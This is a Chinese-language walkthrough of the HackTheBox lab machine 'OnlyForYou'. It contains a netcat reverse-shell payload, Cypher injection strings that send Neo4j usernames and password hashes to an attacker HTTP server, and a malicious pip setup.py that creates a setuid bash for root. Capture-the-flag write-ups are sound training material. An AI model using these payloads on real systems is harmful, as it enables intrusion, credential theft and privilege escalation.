HackTheBox - Medium - Linux - OnlyForYou

OnlyForYou

OnlyForYou 是一台中等难度的 Linux 计算机,其特点是 Web 应用程序容易受到本地文件包含 (LFI) 的影响,该应用程序用于访问源代码,从而揭示盲目命令注入漏洞,从而导致目标系统上的 shell。该计算机运行多个本地服务,其中一个使用默认凭据,并公开易受“Cypher”注入攻击的端点。利用此漏洞会泄漏“Neo4j”数据库中的哈希值,从而授予对计算机的“SSH”访问权限。最后,配置错误的“sudoers”文件允许以“root”权限运行“pip3 download”命令。权限提升是通过在本地“Gogs”服务上创建和托管恶意“Python”包并下载来实现的。


外部信息收集

端口扫描

循例nmap

file

Web枚举

file

ffuf扫vhost

file

有一个beta

beta子域

file

在这里的Source code可以下载zip

file

zip是beta的站点源码

file

任意文件读取
@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

在app.py中,/download的实现很明显存在任意文件读取,原因是虽然对filename做了过滤"…"以防止目录遍历,但由于os.path.join的特性,这个函数如果遇到绝对路径,则会直接返回这个绝对路径,从而忽略掉app.config[‘LIST_FOLDER’],所以我们可以不需要…/也可以实现目录遍历

file

读nginx配置文件

file

Foldhold - RCE

知道路径后,读主站的app.py

file

发现那个表单其实是会被处理的,通过import我们可以得知参数被传入了另一个模块里的函数处理

from form import sendmessage

读form.py

file

很明显,常规command injection,但是是盲的。

尝试通过nc连接攻击机,可行

file

常规reverse shell payload

mkfifo+/tmp/f1%3bnc+10.10.14.18+8888+<+/tmp/f1+|+/bin/bash+>+/tmp/f1

file

内部信息收集

ss -tlnp发现好几个端口

传个chisel过去,攻击机开启server

file

目标机器连接过来,反向socks

file

火狐插件

file

3000端口 - Gogs

file

8001端口

file

看见是一个简陋的登录框,弱口令就登进去了

admin:admin

file

在dashboard中可以看到它使用neo4j

file

本地横向移动 -> john

在Employee可以搜索,但是这里存在注入

file

查表

a' CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://10.10.14.18:8000/'+d AS y RETURN y//

file

获取key的属性

a' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.18:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
10.10.11.210 - - [26/Dec/2023 18:21:02] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [26/Dec/2023 18:21:03] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [26/Dec/2023 18:21:04] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [26/Dec/2023 18:21:04] "GET /?username=john HTTP/1.1" 200 -

爆john的密码,CrackStation出了明文密码

file

使用这组凭据我们能够通过ssh登录john

file

拿到user flag

本地权限提升

sudo -l

file

这里会从gogs中下载pip包,pip download也会执行setup.py

回到3000端口,使用john的凭据登录,我们可以看到这里有个存储库

file

打法很简单,我们制作恶意pip包,然后上传到gogs存储库中,从而允许我们sudo pip下载恶意pip包从而提权

创建个文件夹,setup.py:

import os

os.system('cp /bin/bash /tmp/bash;chmod +s /tmp/bash')


from setuptools import setup, find_packages
import sys

setup(
    name="packer",
    version="0.1.0",
    author="",
    author_email="",
    description="Python Framework.",
    license="MIT",
    url="",
    packages=find_packages(),
    include_package_data=True,
    classifiers=[
        "Environment :: Web Environment",
        'Intended Audience :: Developers',
        'License :: OSI Approved :: MIT License',
        'Natural Language :: Chinese',
        'Operating System :: MacOS',
        'Operating System :: Microsoft',
        'Operating System :: POSIX',
        'Operating System :: Unix',
        'Topic :: NLP',
        'Topic :: Software Development :: Libraries :: Python Modules',
        'Programming Language :: Python :: 3.5',
        'Programming Language :: Python :: 3.6',
    ],
    zip_safe=True,
)

然后运行setup.py创建tar.gz包

file

然后在存储库中上传文件

file

上传文件且提交后,得到的url是

http://127.0.0.1:3000/john/Test/raw/master/packer-0.1.0.tar.gz

此外还需要做一件事就是将该存储库设为公开,否则因为它是私有的导致无权访问

file

这一切搞定之后,直接sudo

file

root flag还在老地方

file

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2023-12-27 15:26:02       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-27 15:26:02       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-27 15:26:02       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-27 15:26:02       18 阅读

热门阅读

  1. Adobe Application Manager丢失或损坏 - 解决方案

    2023-12-27 15:26:02       58 阅读
  2. 四种NAT的网络结构

    2023-12-27 15:26:02       37 阅读
  3. electron DownloadItem如何从指定Url中下载文件

    2023-12-27 15:26:02       37 阅读
  4. 软件测试面试题——如果保证测试用例覆盖率

    2023-12-27 15:26:02       35 阅读
  5. CSS3-——过渡

    2023-12-27 15:26:02       33 阅读
  6. SQL语言之DDL

    2023-12-27 15:26:02       35 阅读
  7. 【华为云】SpringBoot + OBS 上传文件

    2023-12-27 15:26:02       41 阅读
  8. 【PID精讲12】基于MATLAB和Simulink的仿真教程

    2023-12-27 15:26:02       40 阅读